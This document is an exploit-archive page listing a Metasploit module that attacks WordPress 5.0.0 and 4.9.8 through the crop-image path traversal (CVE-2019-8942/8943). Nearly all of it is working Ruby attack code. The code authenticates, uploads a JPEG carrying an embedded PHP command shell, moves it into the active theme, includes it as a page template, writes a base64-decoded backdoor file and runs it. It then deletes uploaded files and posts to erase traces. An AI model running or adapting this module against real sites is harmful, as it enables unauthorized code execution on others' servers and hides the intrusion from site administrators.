WordPress 5.0.0 Crop-image Shell Upload (Metasploit)

2019.04.06
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super(update_info( info, 'Name' => 'WordPress Crop-image Shell Upload', 'Description' => %q{ This module exploits a path traversal and a local file inclusion vulnerability on WordPress versions 5.0.0 and <= 4.9.8. The crop-image function allows a user, with at least author privileges, to resize an image and perform a path traversal by changing the _wp_attached_file reference during the upload. The second part of the exploit will include this image in the current theme by changing the _wp_page_template attribute when creating a post. This exploit module only works for Unix-based systems currently. }, 'License' => MSF_LICENSE, 'Author' => [ 'RIPSTECH Technology', # Discovery 'Wilfried Becard <wilfried.becard@synacktiv.com>' # Metasploit module ], 'References' => [ [ 'CVE', '2019-8942' ], [ 'CVE', '2019-8943' ], [ 'URL', 'https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/'] ], 'DisclosureDate' => 'Feb 19 2019', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['WordPress', {}]], 'DefaultTarget' => 0 )) register_options( [ OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']), OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with']) ]) end def check cookie = wordpress_login(username, password) if cookie.nil? store_valid_credential(user: username, private: password, proof: cookie) return CheckCode::Safe end CheckCode::Appears end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def get_wpnonce(cookie) uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'media-new.php') res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => cookie ) if res && res.code == 200 && res.body && !res.body.empty? res.get_hidden_inputs.first["_wpnonce"] end end def get_wpnonce2(image_id, cookie) uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php') res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => cookie, 'vars_get' => { 'post' => image_id, 'action' => "edit" } ) if res && res.code == 200 && res.body && !res.body.empty? tmp = res.get_hidden_inputs wpnonce2 = tmp[1].first[1] end end def get_current_theme uri = normalize_uri(datastore['TARGETURI']) res = send_request_cgi!( 'method' => 'GET', 'uri' => uri ) fail_with(Failure::NotFound, 'Failed to access Wordpress page to retrieve theme.') unless res && res.code == 200 && res.body && !res.body.empty? theme = res.body.scan(/\/wp-content\/themes\/(\w+)\//).flatten.first fail_with(Failure::NotFound, 'Failed to retrieve theme') unless theme theme end def get_ajaxnonce(cookie) uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php') res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'vars_post' => { 'action' => 'query-attachments', 'post_id' => '0', 'query[item]' => '43', 'query[orderby]' => 'date', 'query[order]' => 'DESC', 'query[posts_per_page]' => '40', 'query[paged]' => '1' } ) fail_with(Failure::NotFound, 'Unable to reach page to retrieve the ajax nonce') unless res && res.code == 200 && res.body && !res.body.empty? a_nonce = res.body.scan(/"edit":"(\w+)"/).flatten.first fail_with(Failure::NotFound, 'Unable to retrieve the ajax nonce') unless a_nonce a_nonce end def upload_file(img_name, wp_nonce, cookie) img_data = %w[ FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 00 60 00 60 00 00 FF ED 00 38 50 68 6F 74 6F 73 68 6F 70 20 33 2E 30 00 38 42 49 4D 04 04 00 00 00 00 00 1C 1C 02 74 00 10 3C 3F 3D 60 24 5F 47 45 54 5B 30 5D 60 3B 3F 3E 1C 02 00 00 02 00 04 FF FE 00 3B 43 52 45 41 54 4F 52 3A 20 67 64 2D 6A 70 65 67 20 76 31 2E 30 20 28 75 73 69 6E 67 20 49 4A 47 20 4A 50 45 47 20 76 38 30 29 2C 20 71 75 61 6C 69 74 79 20 3D 20 38 32 0A FF DB 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0E 09 09 08 08 09 12 0D 0D 0A 0E 15 12 16 16 15 12 14 14 17 1A 21 1C 17 18 1F 19 14 14 1D 27 1D 1F 22 23 25 25 25 16 1C 29 2C 28 24 2B 21 24 25 24 FF DB 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 FF C0 00 11 08 00 C0 01 06 03 01 22 00 02 11 01 03 11 01 FF C4 00 1F 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0A 0B FF C4 00 B5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7D 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 A1 08 23 42 B1 C1 15 52 D1 F0 24 33 62 72 82 09 0A 16 17 18 19 1A 25 26 27 28 29 2A 34 35 36 37 38 39 3A 43 44 45 46 47 48 49 4A 53 54 55 56 57 58 59 5A 63 64 65 66 67 68 69 6A 73 74 75 76 77 78 79 7A 83 84 85 86 87 88 89 8A 92 93 94 95 96 97 98 99 9A A2 A3 A4 A5 A6 A7 A8 A9 AA B2 B3 B4 B5 B6 B7 B8 B9 BA C2 C3 C4 C5 C6 C7 C8 C9 CA D2 D3 D4 D5 D6 D7 D8 D9 DA E1 E2 E3 E4 E5 E6 E7 E8 E9 EA F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FF C4 00 1F 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0A 0B FF C4 00 B5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 A1 B1 C1 09 23 33 52 F0 15 62 72 D1 0A 16 24 34 E1 25 F1 17 18 19 1A 26 27 28 29 2A 35 36 37 38 39 3A 43 44 45 46 47 48 49 4A 53 54 55 56 57 58 59 5A 63 64 65 66 67 68 69 6A 73 74 75 76 77 78 79 7A 82 83 84 85 86 87 88 89 8A 92 93 94 95 96 97 98 99 9A A2 A3 A4 A5 A6 A7 A8 A9 AA B2 B3 B4 B5 B6 B7 B8 B9 BA C2 C3 C4 C5 C6 C7 C8 C9 CA D2 D3 D4 D5 D6 D7 D8 D9 DA E2 E3 E4 E5 E6 E7 E8 E9 EA F2 F3 F4 F5 F6 F7 F8 F9 FA FF DA 00 0C 03 01 00 02 11 03 11 00 3F 00 3C 3F 3D 60 24 5F 47 45 54 5B 30 5D 60 3B 3F 3E ] img_data = [img_data.join].pack('H*') img_name += '.jpg' boundary = "#{rand_text_alphanumeric(rand(10) + 5)}" post_data = "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"name\"\r\n" post_data << "\r\n#{img_name}\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"action\"\r\n" post_data << "\r\nupload-attachment\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"_wpnonce\"\r\n" post_data << "\r\n#{wp_nonce}\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"async-upload\"; filename=\"#{img_name}\"\r\n" post_data << "Content-Type: image/jpeg\r\n" post_data << "\r\n#{img_data}\r\n" post_data << "--#{boundary}--\r\n" print_status("Uploading payload") upload_uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'async-upload.php') res = send_request_cgi( 'method' => 'POST', 'uri' => upload_uri, 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => post_data, 'cookie' => cookie ) fail_with(Failure::UnexpectedReply, 'Unable to upload image') unless res && res.code == 200 && res.body && !res.body.empty? print_good("Image uploaded") res = JSON.parse(res.body) image_id = res["data"]["id"] update_nonce = res["data"]["nonces"]["update"] filename = res["data"]["filename"] return filename, image_id, update_nonce end def image_editor(img_name, ajax_nonce, image_id, cookie) uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php') res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'vars_post' => { 'action' => 'image-editor', '_ajax_nonce' => ajax_nonce, 'postid' => image_id, 'history' => '[{"c":{"x":0,"y":0,"w":400,"h":300}}]', 'target' => 'all', 'context' => '', 'do' => 'save' } ) fail_with(Failure::NotFound, 'Unable to access page to retrieve filename') unless res && res.code == 200 && res.body && !res.body.empty? filename = res.body.scan(/(#{img_name}-\S+)-/).flatten.first fail_with(Failure::NotFound, 'Unable to retrieve file name') unless filename filename << '.jpg' end def change_path(wpnonce2, image_id, filename, current_date, path, cookie) uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php') res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'vars_post' => { '_wpnonce' => wpnonce2, 'action' => 'editpost', 'post_ID' => image_id, 'meta_input[_wp_attached_file]' => "#{current_date}#{filename}#{path}" } ) end def crop_image(image_id, ajax_nonce, cookie) uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php') res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'vars_post' => { 'action' => 'crop-image', '_ajax_nonce' => ajax_nonce, 'id' => image_id, 'cropDetails[x1]' => 0, 'cropDetails[y1]' => 0, 'cropDetails[width]' => 400, 'cropDetails[height]' => 300, 'cropDetails[dst_width]' => 400, 'cropDetails[dst_height]' => 300 } ) end def include_theme(shell_name, cookie) uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post-new.php') res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => cookie ) if res && res.code == 200 && res.body && !res.body.empty? wpnonce2 = res.body.scan(/name="_wpnonce" value="(\w+)"/).flatten.first post_id = res.body.scan(/"post":{"id":(\w+),/).flatten.first fail_with(Failure::NotFound, 'Unable to retrieve the second wpnonce and the post id') unless wpnonce2 && post_id post_title = Rex::Text.rand_text_alpha(10) uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php') res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'vars_post' => { '_wpnonce'=> wpnonce2, 'action' => 'editpost', 'post_ID' => post_id, 'post_title' => post_title, 'post_name' => post_title, 'meta_input[_wp_page_template]' => "cropped-#{shell_name}.jpg" } ) fail_with(Failure::NotFound, 'Failed to retrieve post id') unless res && res.code == 302 post_id end end def check_for_base64(cookie, post_id) uri = normalize_uri(datastore['TARGETURI']) # Test if base64 is on target test_string = 'YmFzZTY0c3BvdHRlZAo=' res = send_request_cgi!( 'method' => 'GET', 'uri' => uri, 'cookie' => cookie, 'vars_get' => { 'p' => post_id, '0' => "echo #{test_string} | base64 -d" } ) fail_with(Failure::NotFound, 'Unable to retrieve response to base64 command') unless res && res.code == 200 && !res.body.empty? fail_with(Failure::NotFound, "Can't find base64 decode on target") unless res.body.include?("base64spotted") # Execute payload with base64 decode @backdoor = Rex::Text.rand_text_alpha(10) encoded = Rex::Text.encode_base64(payload.encoded) res = send_request_cgi!( 'method' => 'GET', 'uri' => uri, 'cookie' => cookie, 'vars_get' => { 'p' => post_id, '0' => "echo #{encoded} | base64 -d > #{@backdoor}.php" } ) fail_with(Failure::NotFound, 'Failed to send payload to target') unless res && res.code == 200 && !res.body.empty? send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI'], "#{@backdoor}.php"), 'cookie' => cookie ) end def wp_cleanup(shell_name, post_id, cookie) print_status('Attempting to clean up files...') uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php') res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'vars_post' => { 'action' => "query-attachments" } ) fail_with(Failure::NotFound, 'Failed to receive a response for uploaded file') unless res && res.code == 200 && !res.body.empty? infos = res.body.scan(/id":(\d+),.*filename":"cropped-#{shell_name}".*?"delete":"(\w+)".*"id":(\d+),.*filename":"cropped-x".*?"delete":"(\w+)".*"id":(\d+),.*filename":"#{shell_name}".*?"delete":"(\w+)"/).flatten id1, id2, id3 = infos[0], infos[2], infos[4] delete_nonce1, delete_nonce2, delete_nonce3 = infos[1], infos[3], infos[5] for i in (0...6).step(2) res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'cookie' => cookie, 'vars_post' => { 'action' => "delete-post", 'id' => infos[i], '_wpnonce' => infos[i+1] } ) end uri1 = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'edit.php') res = send_request_cgi( 'method' => 'GET', 'uri' => uri1, 'cookie' => cookie ) if res && res.code == 200 && res.body && !res.body.empty? post_nonce = res.body.scan(/post=#{post_id}&action=trash&_wpnonce=(\w+)/).flatten.first fail_with(Failure::NotFound, 'Unable to retrieve post nonce') unless post_nonce uri2 = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php') res = send_request_cgi( 'method' => 'GET', 'uri' => uri2, 'cookie' => cookie, 'vars_get' => { 'post' => post_id, 'action' => 'trash', '_wpnonce' => post_nonce } ) fail_with(Failure::NotFound, 'Unable to retrieve response') unless res && res.code == 302 res = send_request_cgi( 'method' => 'GET', 'uri' => uri1, 'cookie' => cookie, 'vars_get' => { 'post_status' => "trash", 'post_type' => 'post', '_wpnonce' => post_nonce } ) if res && res.code == 200 && res.body && !res.body.empty? nonce = res.body.scan(/post=#{post_id}&action=delete&_wpnonce=(\w+)/).flatten.first fail_with(Failure::NotFound, 'Unable to retrieve nonce') unless nonce send_request_cgi( 'method' => 'GET', 'uri' => uri2, 'cookie' => cookie, 'vars_get' => { 'post' => post_id, 'action' => 'delete', '_wpnonce' => nonce } ) end end end def exploit fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online? print_status("Authenticating with WordPress using #{username}:#{password}...") cookie = wordpress_login(username, password) fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil? print_good("Authenticated with WordPress") store_valid_credential(user: username, private: password, proof: cookie) print_status("Preparing payload...") @current_theme = get_current_theme wp_nonce = get_wpnonce(cookie) @current_date = Time.now.strftime("%Y/%m/") img_name = Rex::Text.rand_text_alpha(10) @filename1, image_id, update_nonce = upload_file(img_name, wp_nonce, cookie) ajax_nonce = get_ajaxnonce(cookie) @filename1 = image_editor(img_name, ajax_nonce, image_id, cookie) wpnonce2 = get_wpnonce2(image_id, cookie) change_path(wpnonce2, image_id, @filename1, @current_date, '?/x', cookie) crop_image(image_id, ajax_nonce, cookie) @shell_name = Rex::Text.rand_text_alpha(10) change_path(wpnonce2, image_id, @filename1, @current_date, "?/../../../../themes/#{@current_theme}/#{@shell_name}", cookie) crop_image(image_id, ajax_nonce, cookie) print_status("Including into theme") post_id = include_theme(@shell_name, cookie) check_for_base64(cookie, post_id) wp_cleanup(@shell_name, post_id, cookie) end def on_new_session(client) client.shell_command_token("rm wp-content/uploads/#{@current_date}#{@filename1[0...10]}*") client.shell_command_token("rm wp-content/uploads/#{@current_date}cropped-#{@filename1[0...10]}*") client.shell_command_token("rm -r wp-content/uploads/#{@current_date}#{@filename1[0...10]}*") client.shell_command_token("rm wp-content/themes/#{@current_theme}/cropped-#{@shell_name}.jpg") client.shell_command_token("rm #{@backdoor}.php") end end


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